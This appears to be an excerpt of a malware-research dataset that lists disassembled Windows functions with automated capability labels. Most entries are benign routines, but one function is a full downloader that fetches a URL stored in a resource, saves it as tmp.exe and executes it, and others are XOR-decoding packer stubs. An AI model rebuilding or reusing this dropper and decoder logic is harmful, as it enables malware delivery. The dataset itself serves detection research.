joyce8/EMBER2024-capa huggingface dataset:
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x432030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x402000
Capabilities:
Create process on windows
Delete file
Download url
Extract resource via kernel32 functions
Get common file path
Receive data
Terminate process

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x40100d], eax
push 0xa
push str._URL_
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [0x401011], eax
push dword [0x401011]
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [0x401015], eax
push dword [0x401011]
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [0x401019], eax
push dword [0x401015]
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [0x40101d], eax
push dword [0x401019]
push dword [0x40101d]
push 0x40112c
call dword [sym.imp.KERNEL32.DLL_RtlMoveMemory]
push dword [0x401015]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
xor eax, eax
push 0x40102c
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str.tmp.exe
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_lstrcat]
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0
push 0
push 0x40102c
push 0x40112c
push 0
call dword [sym.imp.URLMON.DLL_URLDownloadToFileA]
push 5
push 0
push 0
push 0x40102c
push str.open
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x7ffe5466
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
push es
pop ds
add al, 0
call 0x7ffe5475
pop edx
xor dx, dx
cld
push es
pop ds
add edx, 0xd5e0
inc esi
dec esi
inc esi
dec esi
xor ecx, ecx
nop
inc esi
dec esi
mov cl, 0x1e
push es
pop ds
stc
xor byte [ecx + edx], 0x61
loop 0x7ffe5490
push eax
pop eax
inc esi
dec esi
push dword fs:[0x24]
push es
pop ds
inc esi
dec esi
pop dword [edx + 0xa]
nop
mov cl, 0xff
push bx
inc esp
inc esp
push edx
loop 0x7ffe54af
nop
mov dword [edx + 0x11], 0xffffacbb
mov ecx, dword [eax + 0x2c]
inc esi
dec esi
cld
mov dword [edx + 0x1b], ecx
mov dword [edx + 0x100], ecx
inc esi
dec esi
mov dword [eax + 0x2c], esp
cld
push 0
nop
push 0
push es
pop ds
push eax
pop eax
push 0
add al, 0
push 0
push 0x30
push 0x20
pushal
inc eax
popal
push 0
push 0
push eax
pop eax
add al, 0
add edx, 0xffff7f36
add al, 0
push edx
clc
push es
pop ds
push edx
push eax
pop eax
push 0
call dword [edx + 0x820d]
cld
push es
pop ds
add esp, 0x3f8
inc esi
dec esi
xor eax, eax
inc eax
stc
ret 0xc

Function at 0x7ffe9c50
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x87edaa15
xor bl, byte [edx - 0x3ef3c846]
and bl, byte [edx + 0x394c8959]
adc dl, byte [esi]
xchg edi, eax
xchg ebx, eax
invalid
Function at 0x100325a0
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10159e1d
mov eax, dword fs:[0]
push eax
mov eax, 0x112c
call fcn.10151ac0
mov eax, dword [0x101bd00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x1138], esi
mov dword [ebp - 0x1134], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], eax
push 1
mov dword [ebp - 0x1134], 1
mov dword [ebp - 0x1014], eax
call fcn.1010cc02
mov dword [ebp - 0x1014], eax
push 0x118
push 0
mov byte [eax], 0
lea eax, [ebp - 0x112c]
push eax
call fcn.10124cd0
add esp, 0x10
mov dword [ebp - 0x1130], 0x11c
lea eax, [ebp - 0x1130]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10032663
cmp dword [ebp - 0x112c], 6
mov eax, dword [ebp - 0x1014]
setae cl
mov byte [eax], cl
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1014]
call fcn.1007c8b0
push 0x1000
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.10124cd0
add esp, 0xc
lea eax, [ebp - 0x1010]
push 0
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x100326ce
lea ecx, [ebp - 0x1010]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100326b0
sub ecx, edx
lea eax, [ebp - 0x1010]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.10003600
lea ecx, [ebp - 0x1014]
call fcn.1007cc20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1014]
call fcn.1007bfe0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1010cbf1
mov esp, ebp
pop ebp
ret 4
Function at 0x10046e30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015c672
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x101bd00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x98], esi
lea edx, [ecx + 2]
mov dword [ebp - 0x94], 0
xor eax, eax
mov dword [ebp - 0x90], 0x6c0047
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov dword [ebp - 0x8c], 0x62006f
mov dword [ebp - 0x88], 0x6c0061
mov dword [ebp - 0x84], 0x52005c
mov dword [ebp - 0x80], 0x410043
mov dword [ebp - 0x7c], 0x370056
mov dword [ebp - 0x78], 0x340045
mov dword [ebp - 0x74], 0x440037
mov dword [ebp - 0x70], 0x390041
mov dword [ebp - 0x6c], 0x2d0033
mov dword [ebp - 0x68], 0x460041
mov dword [ebp - 0x64], 0x310034
mov dword [ebp - 0x60], 0x34002d
mov dword [ebp - 0x5c], 0x350034
mov dword [ebp - 0x58], 0x2d0030
mov dword [ebp - 0x54], 0x300039
mov dword [ebp - 0x50], 0x440043
mov dword [ebp - 0x4c], 0x33002d
mov dword [ebp - 0x48], 0x430031
mov dword [ebp - 0x44], 0x380037
mov dword [ebp - 0x40], 0x320031
mov dword [ebp - 0x3c], 0x320035
mov dword [ebp - 0x38], 0x370038
mov dword [ebp - 0x34], 0x5f0044
mov dword [ebp - 0x30], 0x540052
mov dword [ebp - 0x2c], 0x520050
mov dword [ebp - 0x28], 0x54004f
mov dword [ebp - 0x24], 0x430045
mov dword [ebp - 0x20], 0x5f0054
mov dword [ebp - 0x1c], 0x55004d
mov dword [ebp - 0x18], 0x450054
mov dword [ebp - 0x14], 0x58
mov word [esi], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10046f80
sub ecx, edx
lea eax, [ebp - 0x90]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.10003600
mov dword [ebp - 4], 0
mov dword [ebp - 0x94], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1010cbf1
mov esp, ebp
pop ebp
ret 4
Function at 0x10047d30
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015c828
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x101bd00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x24]
push eax
call fcn.10046e30
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x10047d6f
mov eax, dword [eax]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x10]
cmp edx, 8
jb 0x10047db9
mov ecx, dword [ebp - 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10047daf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10047df9
push edx
push ecx
call fcn.1010cf95
add esp, 8
xor eax, eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete bl
test esi, esi
je 0x10047de6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1012cb39
int3

Function at 0x10048190
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015c997
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
mov eax, dword [0x101bd00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
xor bl, bl
mov dword [ebp - 4], 0
mov eax, dword [0x101c2628]
test al, 1
jne 0x10048219
or eax, 1
mov dword [0x101c2628], eax
mov byte [ebp - 4], 1
xor eax, eax
push 0x2f
push str.GlobalRCAVD277DCA8_31E4_4750_8F68_057A8C0F2C93
mov ecx, 0x101c2678
mov dword [0x101c2688], 0
mov dword [0x101c268c], 7
mov word [0x101c2678], ax
call fcn.10003600
push 0x10173530
call fcn.1010cf80
add esp, 4
mov byte [ebp - 4], bl
push 0x101c2678
lea ecx, [ebp - 0x28]
call fcn.10026aa0
mov dword [ebp - 0x10], 1
cmp dword [eax + 0x14], 8
jb 0x10048235
mov eax, dword [eax]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, 1
mov esi, eax
mov dword [ebp - 0x10], ecx
and ecx, 0xfffffffe
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x1004828d
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10048283
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100482d5
push edx
push ecx
call fcn.1010cf95
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
movzx ebx, bl
mov ecx, 1
cmove ebx, ecx
test esi, esi
je 0x100482c2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1012cb39
int3
Function at 0x10050610
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015d887
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x101bd00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], 0
mov eax, dword [0x101c26ec]
test al, 1
jne 0x10050699
or eax, 1
mov dword [0x101c26ec], eax
mov dword [ebp - 4], 1
xor eax, eax
push eax
push 0x10185ca0
mov ecx, 0x101c26d4
mov dword [0x101c26e4], 0
mov dword [0x101c26e8], 7
mov word [0x101c26d4], ax
call fcn.10003600
push 0x101737f0
call fcn.1010cf80
add esp, 4
mov byte [ebp - 4], 0
mov ecx, 0x101c26d4
call fcn.1007fa30
test al, al
je 0x100506b8
push 0x101c26d4
mov ecx, esi
call fcn.10026aa0
jmp 0x1005087c
lea ecx, [ebp - 0x28]
call fcn.1002e620
mov edi, eax
mov dword [ebp - 4], 2
cmp edi, 0x101c26d4
je 0x10050705
mov ecx, 0x101c26d4
call fcn.10003590
movups xmm0, xmmword [edi]
xor eax, eax
movups xmmword [0x101c26d4], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [0x101c26e4], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x10050743
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10050739
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1005089f
push edx
push ecx
call fcn.1010cf95
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp dword [0x101c26e4], eax
je 0x10050870
push 0x101bdacc
mov edx, 0x101c26d4
lea ecx, [ebp - 0x28]
call fcn.1007b4b0
add esp, 4
mov edi, eax
mov dword [ebp - 4], 3
cmp edi, 0x101c26d4
je 0x100507bd
mov ecx, 0x101c26d4
call fcn.10003590
movups xmm0, xmmword [edi]
xor eax, eax
movups xmmword [0x101c26d4], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [0x101c26e4], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x100507fb
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100507f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100508a4
push edx
push ecx
call fcn.1010cf95
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov ecx, 0x101c26d4
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea edx, [eax + 0x10]
call fcn.1007b270
mov ecx, 0x101c26d4
call fcn.1007fa30
test al, al
jne 0x10050834
mov ecx, 0x101c26d4
call fcn.1007fe50
cmp dword [0x101c26e8], 8
mov eax, 0x101c26d4
cmovae eax, dword [0x101c26d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x10050870
and eax, 0xfffffffd
mov ecx, 0x101c26d4
cmp dword [0x101c26e8], 8
push eax
cmovae ecx, dword [0x101c26d4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x101c26d4
mov ecx, esi
call fcn.10026aa0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.1012cb39
call fcn.1012cb39
int3
Function at 0x10054800
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015e0b2
mov eax, dword fs:[0]
push eax
sub esp, 0x160
mov eax, dword [0x101bd00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14c], 0
push 1
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x14], 0
call fcn.1010cc02
mov dword [ebp - 0x14], eax
push 0x118
push 0
mov byte [eax], 0
lea eax, [ebp - 0x144]
push eax
call fcn.10124cd0
add esp, 0x10
mov dword [ebp - 0x148], 0x11c
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x100548a1
cmp dword [ebp - 0x144], 6
mov eax, dword [ebp - 0x14]
setae cl
mov byte [eax], cl
mov dword [ebp - 4], 0
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.1007cf30
test al, al
je 0x100549df
mov eax, dword [ebp - 0x150]
test eax, eax
je 0x100549df
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1007cff0
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0
jne 0x100548ec
xor bl, bl
jmp 0x1005498f
mov byte [ebp - 4], 2
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x16c]
push 0
push dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
call fcn.1008bcb0
add esp, 8
mov dword [ebp - 0x14c], 1
mov ecx, esi
push eax
call fcn.10054a20
mov eax, 1
mov dword [ebp - 0x14c], eax
and eax, 0xfffffffe
mov dword [ebp - 0x14c], eax
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x158]
cmp edx, 0x10
jb 0x10054972
mov ecx, dword [ebp - 0x16c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10054968
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10054a0d
push edx
push ecx
call fcn.1010cf95
add esp, 8
mov dword [ebp - 0x15c], 0
mov bl, 1
mov dword [ebp - 0x158], 0xf
mov byte [ebp - 0x16c], 0
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x100549c9
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100549bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10054a12
push edx
push ecx
call fcn.1010cf95
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
jmp 0x100549e1
xor bl, bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.1007bfe0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1010cbf1
mov esp, ebp
pop ebp
ret
call fcn.1012cb39
call fcn.1012cb39
int3
Function at 0x10054df0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015e19b
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x101bd00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x2c], edi
mov esi, dword [ebp + 8]
lea eax, [edi + 4]
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], eax
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [ebp - 4], 1
xor ecx, ecx
mov dword [edi], vtable.RC::RCNamePipeClient.0
mov dword [edi + 0xc], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 7
mov word [edi + 0x10], cx
mov byte [ebp - 4], 2
mov dword [edi + 0x28], ecx
mov dword [edi + 0x2c], ecx
mov dword [edi + 0x30], ecx
mov byte [ebp - 4], 3
mov byte [edi + 0x34], cl
mov dword [edi + 0x4c], ecx
mov dword [edi + 0x64], ecx
mov byte [edi + 0x80], cl
mov dword [edi + 0x84], ecx
mov dword [edi + 0x88], ecx
mov dword [edi + 0x8c], ecx
mov dword [edi + 0x90], ecx
mov dword [edi + 0x94], ecx
mov byte [ebp - 4], 4
xor edx, edx
mov dword [edi + 0x98], ecx
mov dword [edi + 0xac], ecx
mov dword [edi + 0xb0], 7
mov word [edi + 0x9c], dx
mov byte [ebp - 4], 5
mov dword [edi + 0xc4], edx
mov dword [edi + 0xc8], 7
mov word [edi + 0xb4], cx
mov byte [ebp - 4], 6
lea ecx, [edi + 0x10]
push 9
push str..pipe_
call fcn.10003600
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x10054ef9
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [edi + 0x10]
push eax
call fcn.1002d020
mov eax, dword [ebp + 0xc]
xorps xmm0, xmm0
mov dword [edi + 0x28], eax
lea eax, [edi + 0x68]
movups xmmword [edi + 0x38], xmm0
mov dword [edi + 0x48], 0
movups xmmword [edi + 0x50], xmm0
push eax
mov dword [edi + 0x60], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [ebp - 0x28]
mov dword [edi + 0x98], eax
call fcn.1007a930
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x28]
call fcn.10077c60
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
sub esp, 8
mov esi, eax
call fcn.10054dd0
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push edx
cmovae ecx, dword [ebp - 0x28]
push eax
push esi
push ecx
lea eax, [edi + 0x9c]
push str._s__d__d
push eax
call fcn.10077fe0
add esp, 0x20
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x10054fc3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10054fb9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10054ffd
push edx
push ecx
call fcn.1010cf95
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1010cbf1
mov esp, ebp
pop ebp
ret 8
call fcn.1012cb39
int3
Function at 0x100556a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158c18
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x101bd00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0xc], 0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], ecx
je 0x10055853
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x10055853
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10055853
lea eax, [ebx + 0x68]
push eax
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebx + 0x50]
push eax
push 0
push 4
lea eax, [ebp + 0xc]
push eax
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test esi, esi
jne 0x10055730
cmp edi, 0x3e5
jne 0x10055763
lea eax, [ebx + 0x50]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 0x2c]
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test esi, esi
jne 0x10055844
cmp edi, 0x3e5
je 0x10055844
push 2
mov ecx, 0x101c2170
call fcn.100ad040
mov esi, eax
xor bl, bl
test esi, esi
je 0x10055846
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push edi
push str.send_data_failed__err:__d
push eax
call fcn.100ad520
add esp, 0xc
lea eax, [ebp - 0x28]
mov ecx, 0x101c2170
push 0x96
push str.RC::RCNamePipeClient::SendData
push str.d:jenkinsworkspacepc_2345mpcsafe_build_rhinoprotect_rtpsystem_srclibrtglobalutils_sdkclientcon_rcnamepipeclient.cpp
push eax
push 2
call fcn.100ad080
cmp esi, 1
jbe 0x100557e4
lea eax, [ebp - 0x28]
mov ecx, 0x101c2170
push eax
call fcn.100ad3a0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x10055821
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10055817
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10055873
push edx
push ecx
call fcn.1010cf95
add esp, 8
push dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
xor bl, bl
mov word [ebp - 0x28], ax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, bl
jmp 0x10055855
mov bl, 1
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, bl
jmp 0x10055855
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1010cbf1
mov esp, ebp
pop ebp
ret 8
call fcn.1012cb39
int3